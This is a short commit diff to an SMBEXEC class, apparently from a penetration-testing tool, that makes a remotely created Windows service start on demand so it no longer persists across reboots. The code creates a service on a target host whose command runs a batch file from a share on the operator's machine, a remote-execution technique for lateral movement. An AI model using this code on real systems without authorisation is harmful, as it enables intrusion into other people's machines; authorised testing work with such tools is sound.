Don't make service auto-start (disable reboot persistance)

main
Louis Dion-Marcil 2017-08-04 14:19:06 -04:00
parent b9aff9579c
commit 527b58d05c
1 changed files with 1 additions and 1 deletions

View File

@ -89,8 +89,8 @@ class SMBEXEC:
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
logging.debug('Command to execute: ' + command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
logging.debug('Remote service {} created.'.format(self.__serviceName))
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
service = resp['lpServiceHandle']
try: